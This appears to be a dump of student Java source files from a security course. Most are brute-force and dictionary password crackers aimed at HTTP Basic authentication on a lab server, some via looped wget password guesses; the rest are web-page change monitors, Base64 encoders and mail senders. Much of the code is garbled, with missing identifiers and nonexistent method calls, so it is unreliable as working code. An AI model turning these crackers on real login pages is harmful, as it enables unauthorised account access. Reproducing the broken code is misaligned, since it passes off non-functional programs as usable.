((bytes[i+2] >> 6) & 3)); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) (((bytes[i+2]) & 63)); + tmp = tmp + baseTable.charAt(pos); + + + + if(((i+2)%56) == 0) { + tmp = tmp + ""\r\n""; + } + } + + if(bytes.length % 3 != 0) { + + if(bytes.length % 3 == 2) { + + pos = (byte) ((bytes[i] >> 2) & 63); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); + tmp = tmp + baseTable.charAt( pos ); + + pos = (byte) ((bytes[i+1] & 15) << 2); + tmp = tmp + baseTable.charAt(pos); + + tmp = tmp + ""=""; + + } else if(bytes.length % 3 == 1) { + + pos = (byte) ((bytes[i] >> 2) & 63); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) ((bytes[i] & 3) << 4); + tmp = tmp + baseTable.charAt( pos ); + + tmp = tmp + ""==""; + } + } + return tmp; + + } + + + public static String encode(String src) { + + return encode(src.getBytes()); + } + + public static byte[] decode(String src) throws Exception { + + byte[] bytes = null; + + StringBuffer buf = new StringBuffer(src); + + + int i = 0; + char c = ' '; + char oc = ' '; + while( i < buf.length()) { + oc = c; + c = buf.charAt(i); + if( oc == '\r' && c == '\n') { + buf.deleteCharAt(i); + buf.deleteCharAt(i-1); + i -= 2; + } else if( c == '\t') { + buf.deleteCharAt(i); + i --; + } else if( c == ' ') { + i --; + } + i++; + } + + + if(buf.length() % 4 != 0) { + throw new Exception(""Base64 decoding invalid length""); + } + + + bytes = new byte[3 * (buf.length() / 4)]; + + + int index = 0; + + + for(i = 0; i < buf.length(); i+=4) { + + byte data = 0; + int nGroup = 0; + + for(int j = 0; j < 4; j++) { + + char theChar = buf.charAt(i + j); + + if(theChar == '=') { + data = 0; + } else { + data = getBaseTableIndex(theChar); + } + + if(data == -1) { + throw new Exception(""Base64 decoding bad character""); + } + + nGroup = 64*nGroup + data; + } + + bytes[index] = (byte) (255 & (nGroup >> 16)); + index ++; + + bytes[index] = (byte) (255 & (nGroup >> 8)); + index ++; + + bytes[index] = (byte) (255 & (nGroup)); + index ++; + } + + byte[] newBytes = new byte[index]; + for(i = 0; i < index; i++) { + newBytes[i] = bytes[i]; + } + + return newBytes; + } + + + protected static byte getBaseTableIndex(char c) { + + byte index = -1; + + for(byte i = 0; i < baseTable.length(); i ++) { + + if(baseTable.charAt(i) == c) { + index = i; + break; + } + } + + return index; + } +}" +031.java," + +import java.io.*; +import java.util.*; + + +public class WatchDog +{ + private static String userid; + + + + + + public static void main(String args[]) + { + + + if (args.length != 1) + { + System.out.println(""Please provide the Username mail the possible differences.""); + System.exit(0); + } + else + userid = args[0]; + + + while(true) + { + try + { + WatchDog wd = new WatchDog(userid); + Thread.sleep(1000); + } + catch (InterruptedException i ) + { + i.printStackTrace(); + System.exit(-1); + } + catch (Exception e) + { + e.printStackTrace(); + System.exit(-1); + } + } + } + + + + + public WatchDog(String userid) + { + checkFileChanges(userid); + } + + + + + + + private void checkFileChanges(String userid) + { + + try + { + Process p = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/""); + Thread.sleep(1000); + p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 > diff.txt""}); + Thread.sleep(10000); + + + if (isFileChanged() == true) + { + System.out.println(""Result: Difference found in . Check your Pine for details""); + mailFileChanges(userid); + recordFileChanges(); + } + else + { + System.out.println(""Result: Difference found in ""); + recordFileChanges(); + + } + + } + catch (IOException e) + { + e.printStackTrace(); + System.exit(-1); + } + catch (InterruptedException ioe) + { + ioe.printStackTrace(); + System.exit(-1); + } + catch (Exception exp) + { + exp.printStackTrace(); + System.exit(-1); + } + } + + + + + + private void recordFileChanges() + { + try + { + + Process p = Runtime.getRuntime().exec(""mv index.html.1 index.html""); + Thread.sleep(1000); + } + catch (IOException e) + { + e.printStackTrace(); + System.exit(-1); + } + catch (InterruptedException oie) + { + ioe.printStackTrace(); + System.exit(-1); + } + catch (Exception exp) + { + exp.printStackTrace(); + System.exit(-1); + } + } + + + + + + private void mailFileChanges(String userid) + { + try + { + Process p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 | mail "" + userid + ""@cs.rmit.edu.""}); + Thread.sleep(1000); + } + catch (IOException e) + { + e.printStackTrace(); + System.exit(-1); + } + catch (InterruptedException ioe) + { + ioe.printStackTrace(); + System.exit(-1); + } + catch (Exception exp) + { + exp.printStackTrace(); + System.exit(-1); + } + } + + + + + + private boolean isFileChanged() + { + try + { + FileInputStream fIn = new FileInputStream (""diff.txt""); + DataInputStream di = new DataInputStream (fIn); + + Thread.sleep(1000); + + if( di!= null) + { + String str = di.readLine(); + + if(str!=null) + return true; + else + return false; + } + + } + catch (FileNotFoundException fe) + { + fe.printStackTrace(); + System.exit(-1); + } + catch (IOException e) + { + e.printStackTrace(); + System.exit(-1); + } + catch (InterruptedException ioe) + { + ioe.printStackTrace(); + System.exit(-1); + } + catch (Exception exp) + { + exp.printStackTrace(); + System.exit(-1); + } + return false; + } +} + + + + + + + +" +201.java," +import java.net.*; +import java.io.*; +import java.Ostermiller.util.*; +import java.util.*; + +public class MyClient1 implements Runnable +{ + private String hostname; + private int port; + private String filename; + private Socket s; + private int n; + private InputStream sin; + private OutputStream sout; + private int dif; + private String myPassword; + private int status; + private int myTime; + private Dictionary myMaster; + + + public MyClient1(Dictionary dic, int num, int myPort, String password) + { + + hostname = new String(""sec-crack.cs.rmit.edu.""); + port = myPort; + status = 0; + myTime = 0; + myPassword = password; + filename = new String(""/SEC/2/""); + myMaster = 0; + n = num; + dif = 0; + + } + public getDif() + { + return dif; + } + public int getStatus() + { + return status; + } + public void run() + { + String inputLine; + String[] tokens = new String[5]; + int i; + myTime = 0; + finish = 0; + start = System.currentTimeMillis(); + try + { + s = new Socket( hostname, port); + }catch( UnknownHostException e) + { + System.out.println(""'t find host""); + }catch( IOException e) + { + System.out.println(""Error connecting host ""+n); + return; + } + while(s.isConnected() == false) + continue; + + finish = System.currentTimeMillis(); + dif = finish - start; + + try + { + sin = s.getInputStream(); + }catch( IOException e) + { + System.out.println(""'t open stream""); + } + BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); + try + { + sout = s.getOutputStream(); + }catch( IOException e) + { + System.out.println(""'t open stream""); + } + + PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); + toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization: ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n""); + toServer.flush(); + + try + { + inputLine = fromServer.readLine(); + }catch( IOException e) + { + System.out.println(""'t open stream""); + inputLine = null; + } + + java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, "" ""); + i = 0; + while(bf.hasMoreTokens()) + { + tokens[i] =bf .nextToken(); + i++; + } + status = Integer.parseInt( tokens[1]); + myTime = System.currentTimeMillis(); + if( status == 200) + { + System.out.println(""Ok ""+myPassword); + myMaster.retire( this); + } + + toServer.send(); + try + { + fromServer.recieve(); + }catch( IOException e) + { + System.out.println(""'t open stream""); + } + try + { + s.connect(); + }catch( IOException e) + { + System.out.println(""'t connection""); + System.exit(0); + } + } + public getTime() + { + return myTime; + } + +} +" +168.java," +package java.httputils; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Iterator; +import java.util.Observable; +import java.util.Observer; + + +public class BruteForceThreadPool extends ThreadGroup implements Observer +{ + protected String URL = ""http://localhost:8080/secret/index.html""; + protected int poolSize = 6; + + protected Collection threadList = new ArrayList(); + protected String fileName = ""BruteForceReport.txt""; + protected boolean finished = false; + protected String userName = """"; + + public BruteForceThreadPool(String name) + { + super(name); + } + + + public BruteForceThreadPool(ThreadGroup parent, String name) + { + super(parent, name); + } + + + public synchronized void update(Observable o, Object arg) + { + + System.out.println(""Update method called the observer.""); + RunnableBruteForce rbf = (RunnableBruteForce) o; + rbf.createReport(); + + + + for (Iterator iter = threadList.iterator(); iter.hasNext();) + { + RunnableBruteForce target = (RunnableBruteForce) iter.next(); + target.setStop(true); + } + finished = true; + } + + + + protected void start(int threads) + { + + + int load = BruteForce.letters.length / threads; + int remainder = BruteForce.letters.length % threads; + + + for (int i = 0, end = ( + load); + end < BruteForce.letters.length; + i = end, end += load) + { + RunnableBruteForce runnable = new RunnableBruteForce(); + runnable.setURL(getURL()); + runnable.setRangeStart(); + runnable.setUserName(userName); + + runnable.setRangeEnd( + end + load > BruteForce.letters.length ? + BruteForce.letters.length : + end); + + runnable.addObserver(this); + runnable.setFileName(getFileName()); + + threadList.add(runnable); + } + + + for (Iterator iter = threadList.iterator(); iter.hasNext();) + { + RunnableBruteForce target = (RunnableBruteForce) iter.next(); + new Thread(target).start(); + } + + } + + public static void main(String[] args) + { + BruteForceThreadPool pool = new BruteForceThreadPool(""BruteForceThreadGroup""); + + if (args.length < 4) + { + pool.printUsage(); + return; + } + pool.setURL(args[0]); + pool.userName = args[1]; + pool.setFileName(args[2]); + + pool.get(Integer.parseInt(args[3])); + while (true) + { + try + { + Thread.currentThread().sleep(100); + if (pool.finished) + { + break; + } + } + catch (InterruptedException e) + { + e.printStackTrace(); + } + } + + System.exit(0); + } + + + public String printUsage() + { + StringBuffer s = new StringBuffer(); + + s.append(""** BruteForceThreadPool proper usage **\n\n""); + s.append( + ""java ..httputils.BruteForceThreadPool < Of Threads = 6>\n\n""); + + return s.toString(); + } + + + public Collection getThreadList() + { + return threadList; + } + + + public void setThreadList(Collection collection) + { + threadList = collection; + } + + + + public String getFileName() + { + return fileName; + } + + + public void setFileName(String string) + { + fileName = string; + } + + + public String getURL() + { + return URL; + } + + + public void setURL(String string) + { + URL = string; + } + + + public int getPoolSize() + { + return poolSize; + } + + + public void setPoolSize(int i) + { + poolSize = i; + } + +} +" +257.java," + +import java.awt.*; +import java.util.*; +import java.net.*; +import java.io.*; +import java.*; + + +public class BruteForce +{ + public final char [ ] letter = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z'}; + + + public static void main(String args[]) throws Exception + { + + String urlPath = null; + + if(args.length > 0) + { + urlPath = args[0]; + System.out.println(""URL "" + urlPath); + BruteForce bForce = new BruteForce(urlPath); + } + else{ + System.out.println(""Please enter URL at command prompt""); + System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); + } + + System.exit(0); + + } + + + public BruteForce(String urlPath) throws Exception + { + linkToWeb(urlPath); + + } + + public boolean linkToWeb(String urlPath) throws Exception + { + HttpURLConnection connection; + int i, j, k; + URL = new URL(urlPath); + String let1 = null; + String let2 = null; + String let3 = null; + String usrName = """"; + String usrNamePwd = null; + String encoding = null; + boolean ok = false; + + connection = (HttpURLConnection).openConnection(); + + + + for(i=0; i> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + } + +} + +" +196.java," +import java.io.*; + +public class Dictionary +{ + + public static void main(String args[])throws Exception + { + String s = null; + String pass=""""; + int at=0; + String strLine=""""; + int i=0; + + BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); + + start =System.currentTimeMillis(); + try + { + while((pass=strLine = in.readLine()) != null) + { + + if(pass.length()==3) + { + + System.out.println(pass); + at++; + + Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""); + p.waitFor(); + i = p.exitValue(); + + if(i==0) + { + finish=System.currentTimeMillis(); + + float time=finish-start; + + System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" ); + System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" ); + System.exit(0); + } + + + BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + + BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + + System.out.println(""Standard output of the command ""); + while ((s = stdInput.readLine()) != null) + { + System.out.println(s); + } + + + System.out.println(""Standard error of the command ""); + while ((s = stdError.readLine()) != null) + { + System.out.println(s); + } + } + } + System.exit(0); + } + catch (IOException e) + { + System.out.println(""Exception happened ""); + e.printStackTrace(); + System.exit(-1); + } + } +}" +043.java,"import java.util.*; +import java.io.*; +import javax.swing.text.html.*; + + +public class WatchDog { + + public WatchDog() { + + } + public static void main (String args[]) { + DataInputStream newin; + + try{ + System.out.println(""ishti""); + + System.out.println(""Downloading first copy""); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); + String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; + String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; + while(true){ + Thread.sleep(24*60*60*1000); + System.out.println(""Downloading new copy""); + Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); + Thread.sleep(2000); + Runtime.getRuntime().exec(cmdDiff); + Thread.sleep(2000); + newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); + if (newin.readLine() != null){ + System.out.println(""Sending Mail""); + Runtime.getRuntime().exec(cmdMail); + Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); + + } + } + + } + catch(Exception e){ + e.printStackTrace(); + } + + } + +}" +252.java,"import java.net.*; +import java.io.*; + +public class Dictionary +{ + + public static void main (String[] args) + { + + String pwd = new String(); + String userpwd = new String(); + String reply = new String(); + int i,j,k; + int startTime, endTime,totalTime; + URLConnection connectionObj; + startTime = System.currentTimeMillis(); + + + try { + + URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + + BufferedReader file = new BufferedReader(new FileReader(""words"")); + + + while ((pwd=file.readLine()) != null) + { + + userpwd = bf.encode("""",pwd); + + connectionObj = urlObj.openConnection(); + + connectionObj.setRequestProperty(""Authorization"","" "" + userpwd); + connectionObj.connect(); + reply = connectionObj.getHeaderField(0); + System.out.println(pwd); + if (reply.compareTo(""HTTP/1.1 200 OK"")== 0) + { + + endTime = System.currentTimeMillis(); + totalTime= (endTime - startTime)/1000; + System.out.println(""Total Time = "" + (totalTime) + ""seconds""); + System.exit(0); + } + + + + + + + } + + } + + catch (MalformedURLException err) + { + System.out.println(err); + } + catch (IOException err) + { + System.out.println(err); + } + + } + + + + +}" +109.java,"import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Date; +import java.util.Properties; + +import javax.mail.Message; +import javax.mail.Session; +import javax.mail.Transport; +import javax.mail.Message.RecipientType; +import javax.mail.internet.InternetAddress; +import javax.mail.internet.MimeMessage; + + + + +public class Mailsend +{ + static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer""); + static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient""); + static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender""); + static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader""); + + + + + public static void main(String args[]) + { + try + { + + String smtpServer = SMTP_SERVER; + String recip = RECIPIENT_EMAIL; + String from = SENDER_EMAIL; + String subject = MESSAGE_HEADER; + String body = ""Testing""; + + System.out.println(""Started sending the message""); + Mailsend.send(smtpServer,recip , from, subject, body); + } + catch (Exception ex) + { + System.out.println( + ""Usage: java mailsend"" + + "" smtpServer toAddress fromAddress subjectText bodyText""); + } + + System.exit(0); + } + + + + public static void send(String smtpServer, String receiver, String from, String subject, String body) + + { + try + { + Properties props = System.getProperties(); + + + + props.put(""mail.smtp.host"", smtpServer); + props.put(""mail.smtp.timeout"", ""20000""); + props.put(""mail.smtp.connectiontimeout"", ""20000""); + + + Session session = Session.getDefaultInstance(props, null); + + + + Message msg = new MimeMessage(session); + + + msg.setFrom(new InternetAddress(from)); + msg.setRecipients(Message.RecipientType.NORMAL, InternetAddress.parse(receiver, false)); + + + + + msg.setSubject(subject); + + msg.setSentDate(new Date()); + + msg.setText(body); + + + Transport.send(msg); + + System.out.println(""sent the email with the differences : ""+ + ""using the mail server: ""+ smtpServer); + + } + catch (Exception ex) + { + ex.printStackTrace(); + } + } +} +" +094.java," + + +import java.net.*; +import java.io.*; + + +public class BruteForce{ + + private String passwd = """"; + private String command = """"; + private BufferedReader in; + private PrintWriter out; + + private int startTime = 0; + private int endTime = 0; + private int totalTimes = 0; + + private boolean bfind = false; + + private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789.""; + + + public BruteForce(){} + + + public void doRequest(){ + startTime = System.currentTimeMillis(); + + for(int i=0; i < str.length(); i++){ + if(bfind) break; + for(int j=0; j < str.length(); j++){ + if(bfind) break; + for(int k=0; k < str.length(); k++){ + if(bfind) break; + passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) + +String.valueOf(str.charAt(k)); + connection(passwd); + } + } + } + + if(!bfind){ + for(int i = 0; i < str.length(); i++){ + if(bfind) break; + for(int j = 0; j Establishing a connection.""); + Runtime runtime = Runtime.getRuntime(); + Process p = runtime.exec(command); + in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String inStr; + while((inStr = in.readLine())!= null){ + if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| + inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ + endTime = System.currentTimeMillis(); + totalTimes = endTime - startTime; + System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd); + System.out.println(""Total Times is "" + totalTimes + "" milliSec""); + System.out.println(""Writing it brutepswd.txt file\n""); + out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt""))); + out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); + out.println(""Passwd: ""+ passwd); + out.flush(); + bfind = true; + } + out.print(); + } + in.print(); + }catch(Exception e){System.out.println(e.getMessage());} + } + + public String getAnyKey()throws Exception{ + BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); + String key= stdin.readLine(); + return key; + } + + public static void main (String []args){ + + BruteForce bf = new BruteForce(); + System.out.println(""\n*******************************************""); + System.out.println(""* *""); + System.out.println(""* BruteForce Crack Passwd Program *""); + System.out.println(""* --------------------------------- *""); + System.out.println(""* Author: *""); + System.out.println(""* *""); + System.out.println(""*******************************************""); + System.out.println(""\n BruteForce Crack Passwd Information:\n""); + System.out.println(""--> UserName: ""); + System.out.println(""--> MaxPasswdLength: 3""); + System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php""); + System.out.println(""--> Alphabet: ""+ bf.str+""\n""); + System.out.println(""==> Press Ctrl+C stop Crack\n""); + System.out.print(""==> Press EnterKey : ""); + try{ + String key = bf.getAnyKey(); + }catch(Exception e){System.out.println(e.getMessage());} + bf.doRequest(); + } +}" +114.java," + + +public class BruteForce { + + private Thread threads[]; + private String strUsername; + private String strURL; + + + public BruteForce(String username, String url) { + threads = new Thread[14]; + strUsername = username; + strURL = url; + } + + public void crackStart() + { + + + int iOffset, i =0; + iOffset = (52 * 52 * 52) / 14; + CrackThread tmpCrack; + + for(i=0;i<14;i++) { + tmpCrack = new CrackThread(); + + tmpCrack.setParams(strURL, strUsername, (i * iOffset), (i * iOffset + iOffset)); + + threads[i] = new Thread(tmpCrack); + threads[i].print(); + } + } + + + public static void main(String[] args) { + + + + + + BruteForce bf = new BruteForce("""", ""http://sec-crack.cs.rmit.edu./SEC/2/""); + + bf.crackStart(); + + } + + +} +" +233.java,"import java.util.*; +import java.io.*; +import java.*; + +public class Dogs5 +{ + public static void main(String [] args) throws Exception + { + executes(""rm index.*""); + executes(""wget http://www.cs.rmit.edu./students""); + + while (true) + { + String addr= ""wget http://www.cs.rmit.edu./students""; + executes(addr); + String hash1 = md5sum(""index.html""); + String hash2 = md5sum(""index.html.1""); + System.out.println(hash1 +""|""+ hash2); + + BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); + + String line="" "" ; + String line1="" "" ; + String line2="" ""; + String line3="" ""; + String[] cad = new String[10]; + + executes(""./.sh""); + + int i=0; + while ((line = buf.readLine()) != null) + { + + line1=""http://www.cs.rmit.edu./students/images""+line; + if (i==1) + line2=""http://www.cs.rmit.edu./students/images""+line; + if (i==2) + line3=""http://www.cs.rmit.edu./students/images""+line; + i++; + } + System.out.println(line1+"" ""+line2+"" ""+line3); + + + executes(""wget ""+line1); + executes(""wget ""+line2); + executes(""wget ""+line3); + + String hash3 = md5sum(""index.html.2""); + String hash4 = md5sum(""index.html.3""); + String hash5 = md5sum(""index.html.4""); + + + + +BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); + + String linee="" "" ; + String linee1="" "" ; + String linee2="" ""; + String linee3="" ""; + + executes(""./ip1.sh""); + + int j=0; + while ((linee = buf2.readLine()) != null) + { + + linee1=""http://www.cs.rmit.edu./students/images""+linee; + if (j==1) + linee2=""http://www.cs.rmit.edu./students/images""+linee; + if (j==2) + linee3=""http://www.cs.rmit.edu./students/images""+linee; + j++; + } + System.out.println(line1+"" ""+line2+"" ""+line3); + + + executes(""wget ""+linee1); + executes(""wget ""+linee2); + executes(""wget ""+linee3); + + String hash6 = md5sum(""index.html.5""); + String hash7 = md5sum(""index.html.6""); + String hash8 = md5sum(""index.html.7""); + + boolean pict=false; + if (hash3.equals(hash6)) + pict=true; + + boolean pict2=false; + if (hash3.equals(hash6)) + pict2=true; + + boolean pict3=false; + if (hash3.equals(hash6)) + pict3=true; + + + if (hash1.equals(hash2)) + { + executes(""./difference.sh""); + executes(""./mail.sh""); + + + + } + else + { + if (pict || pict2 || pict3) + { + executes("".~/Assign2/difference.sh""); + executes("".~/Assign2/mail2.sh""); + } + + executes("".~/Assign2/difference.sh""); + executes("".~/Assign2/mail.sh""); + + + + executes(""./reorder.sh""); + executes(""rm index.html""); + executes(""cp index.html.1 index.html""); + executes(""rm index.html.1""); + executes(""sleep 5""); + } + } + } + + public static void executes(String comm) throws Exception + { + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); + + BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); + + String cad; + while(( cad = bf.readLine()) != null) + { + System.out.println(); + } + p.waitFor(); + } + + public static String md5sum(String file) throws Exception + { + String cad; + String hash= "" ""; + + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", + ""-c"", ""md5sum ""+file }); + BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); + + while((bf = cad.readLine()) != null) + { + StringTokenizer word=new StringTokenizer(); + hash=word.nextToken(); + System.out.println(hash); + } + return hash; + + } + + + +} + +" +012.java,"import java.net.*; +import java.io.*; +import java.util.regex.*; +import java.util.Date; +import java.util.*; +import java.text.*; + + + + +public class WatchDog { + public static BufferedReader in; + + + public static int LIMITINMINUTES=60*24; + public static int TIMELIMIT=LIMITINMINUTES*1000*60; + public static void main(String[] args) throws Exception { + + String watchedPage = ""http://www.cs.rmit.edu./students/""; + String currentPage = """"; + + + System.out.println("" stop the program, press \""Alt + C\""""); + + boolean loggedout=false; + while (!loggedout){ + + currentPage=""""; + + + Date date = new Date(); + startTime=date.getTime(); + + + URL cs = new URL(watchedPage); + HttpURLConnection connection; + URLConnection csc = cs.openConnection(); + try { + BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); + String inputLine; + + while ((inputLine = in.readLine()) != null) { + currentPage = currentPage+inputLine; + } + + } + catch (IOException s) { + } + finally { + while(in!=null) + in.next(); + } + + String lastPage=readData(); + if (lastPage.trim().equals(currentPage.trim())) { + System.out.println(""Pages match, nothing email.""); + } + else { + + + String checkCurrentPage = currentPage.trim(); + String checkLastPage = lastPage.trim(); + int iterations; + + boolean lastLongestString; + if (checkCurrentPage.length()count && checkCurrentPage.length()>count){ + + if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) { + + + if (count<20){ + additions = ""Sorry changes together distinguish additions and subtractions . Here is where : ""+ checkCurrentPage.substring(count, checkCurrentPage.length()); + count = iterations; + } + else { + + + checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length()); + checkLastPage=checkLastPage.substring(count, checkLastPage.length()); + iterations=iterations-count; + count=0; + + + + + String regexAdd=""""; + if (checkLastPage.length()<20){ + regexAdd=checkLastPage.substring(count, checkLastPage.length()); + } + else { + regexAdd=checkLastPage.substring(0,19); + } + String [] changes=checkCurrentPage.split(regexAdd, 2); + int changeslength=changes.length; + + if (changeslength>1){ + + add=true; + additions = additions + changes[0]; + + + if (changeslength>1){ + checkCurrentPage=regexAdd+changes[1]; + } + else { + if (lastLongestString==true) + count=iterations; + } + } + else { + + + + String regexSub=""""; + if (checkCurrentPage.length()<20){ + regexSub=checkCurrentPage.substring(count, checkCurrentPage.length()); + } + else { + regexSub=checkCurrentPage.substring(0,19); + } + String [] changesSub=checkLastPage.split(regexSub, 2); + int changeslengthSub=changesSub.length; + + if (changeslengthSub>1){ + + sub=true; + subtractions = subtractions + changesSub[0]; + + + if (changeslengthSub>1){ + checkLastPage=regexSub+changesSub[1]; + } + else { + if (lastLongestString==false) + count=iterations; + } + + + } + } + } + + } + } + } + + + String emailBody=""Changes have been . \n""+additions+subtractions; + + + sendEmail(emailBody); + } + + + writeData(currentPage); + + + wait24(startTime); + } + } + + + private static void wait24( int startTime) { + boolean waiting=true; + while(waiting){ + Date endDate = new Date(); + endTime=endDate.getTime(); + + + if (endTime>(TIMELIMIT+startTime)){ + + waiting=false; + } + } + } + + + public static String readData() { + String data; + String lastPage=""""; + try { + BufferedReader in = new BufferedReader(new FileReader(""LastVisitedPage.html"")); + while ((data = in.readLine())!=null) { + lastPage= lastPage + data +""\n""; + } + + } + catch (FileNotFoundException e1) { + System.exit(0); + } + catch (IOException e2) { + System.out.println(""IO Exception, exiting""); + System.exit(0); + } + finally { + try { + if (null!=in) { + in.next(); + } + } + catch (IOException e3) {} + } + return lastPage; + } + + + public static void writeData(String currentPage) { + PrintWriter out; + try { + out = new PrintWriter (new BufferedWriter(new FileWriter(""LastVisitedPage.html""))); + out.println(currentPage); + + + } + catch (IllegalArgumentException e1) { + System.out.println (""Sorry, 't write file. None of changes in this session have been saved""); + System.exit(0); + } + catch (IOException e2) { + System.out.println (""Sorry, 't write file. None of changes in this session have been saved""); + System.exit(0); + } + finally {} + } + + + + + public static void sendEmail(String emailBody){ + + Socket smtpSocket =null; + DataOutputStream os = null; + InputStreamReader is = null ; + + Date dDate = new Date(); + DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US); + + try{ + smtpSocket = new Socket("".rmit.edu."", 25); + os = new DataOutputStream(smtpSocket.getOutputStream()); + is = new InputStreamReader(smtpSocket.getInputStream()); + BufferedReader = new BufferedReader(is); + + if(smtpSocket != null && os != null && is != null){ + + try { + os.writeBytes(""HELO .rmit.edu.\r\n""); + + + os.writeBytes(""MAIL From: <@.rmit.edu.>\r\n""); + + + os.writeBytes(""RCPT : <@cs.rmit.edu.>\r\n""); + + + + os.writeBytes(""DATA\r\n""); + + os.writeBytes(""X-Mailer: Via Java\r\n""); + os.writeBytes(""DATE: "" + dFormat.format(dDate) + ""\r\n""); + os.writeBytes(""From: <@cs.rmit.edu.>\r\n""); + os.writeBytes("": <@cs.rmit.edu.>\r\n""); + + os.writeBytes(""Subject: updated\r\n""); + os.writeBytes(emailBody + ""\r\n""); + os.writeBytes(""\r\n.\r\n""); + os.writeBytes(""QUIT\r\n""); + + + + String responseline; + while((responseline=is.readLine())!=null){ + + if(responseline.indexOf(""Ok"") != -1) { + break; + } + } + } + catch(Exception e){ + System.out.println(""Cannot send email as error occurred.""); + } + } + else + System.out.println(""smtpSocket another variable is null!""); + } + catch(Exception e){ + System.out.println(""Host unknown""); + } + } + +} + + +" +059.java," + + + public class Base64Converter + + + { + + public static final char [ ] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 